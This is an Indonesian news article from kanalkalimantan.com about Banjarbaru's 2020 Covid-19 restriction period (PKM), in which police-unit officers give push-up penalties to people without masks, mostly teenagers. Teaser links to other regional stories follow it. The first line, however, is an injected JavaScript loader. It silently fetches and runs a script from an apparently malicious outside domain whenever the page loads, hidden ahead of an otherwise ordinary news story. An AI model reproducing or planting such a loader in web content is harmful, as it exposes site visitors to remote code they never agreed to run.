(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Upaya penanganan Covid-19 di Kota Banjarbaru melalui pemberlakuan Pembatasan Kegiatan Masyarakat (PKM) tinggal beberapa hari, sebelum berakhir pada 13 Juni lusa.
Sejak mulai diberlakukan pada 31 Mei lalu, PKM yang dilaksanakan selama 14 hari bertujuan untuk mendisiplinkan perilaku masyarakat agar beraktivitas mengikuti protokol kesehatan. Seperti halnya memakai masker, sosial distancing, hingga mencuci tangan.
Namun di lapangan masih ditemukan masyarakat yang tidak mengikuti imbauan yang sudah disampaikan. Terbanyak ialah masyarakat yang tidak menggunakan masker.
Kasat Pol PP Banjarbaru Marhain Rahman melalui PPNS Seksi Opsdal Yanto Hidayat mengatakan, sebenarnya mayoritas masyarakat Banjarbaru telah menaati aturan untuk memakai masker jika berada di luar rumah. Hanya saja, tidak sedikit pula masyarakat yang tidak mengindahkan protokol tersebut.
“Sebagian besar masyarakat sudah memakai masker. Tapi masih ada juga yang kita temukan tidak memakai. Alasan mereka macam-macam. Tapi, apapun itu kita harus menegur masyarakat tersebut,” katanya, Rabu (10/6/2020).
Tak hanya teguran lisan saja, petugas Satpol PP bersama Polri, TNI, dan Dinas Perhubungan (Dishub) juga tegas memberikan sanksi bagi masyarakat yang melanggar protokol kesehatan itu.
Seperti dengan hukuman push up bagi masyarakat yang tak kenakan masker saat ditemukan petugas.
Pemberian sanksi ini rupanya selalu terjadi dalam setiap harinya. Mayoritas mereka yang melanggar protokol dan suka beradu argumen dengan petugas adalah para remaja.
Pemberian sanksi fisik kepada remaja juga tidak bersifat keras. Sebab pihaknya juga melakukan pembinaan bersifat humanis kepada para remaja agar patuh pada protokol yang telah ditetapkan.
“Kita suruh push up sesuai kemampuan mereka. Kalau gak sanggup, ya tidak kita paksakan. Tentu dengan sanksi ini secara langsung tidak memberikan efek jera. Untuk itu kita lakukan pembinaan juga,” pungkasnya. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, MARTAPURA - Tersangka kasus dugaan korupsi, Kepala Desa Sungai Alat Kecamatan Astambul, P (45)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Puluhan warga Banjarmasin harus kehilangan tempat tinggal dan mengungsi akibat kebakaran permukiman… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upaya memecah masalah lalu lintas di perempatan Jalan Guntung Manggis - Trikora… Read More
Polda Kalsel Turunkan 1.200 Personel, Amankan Kabupaten Banjar dan Kota Banjarbaru Read More
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More
This website uses cookies.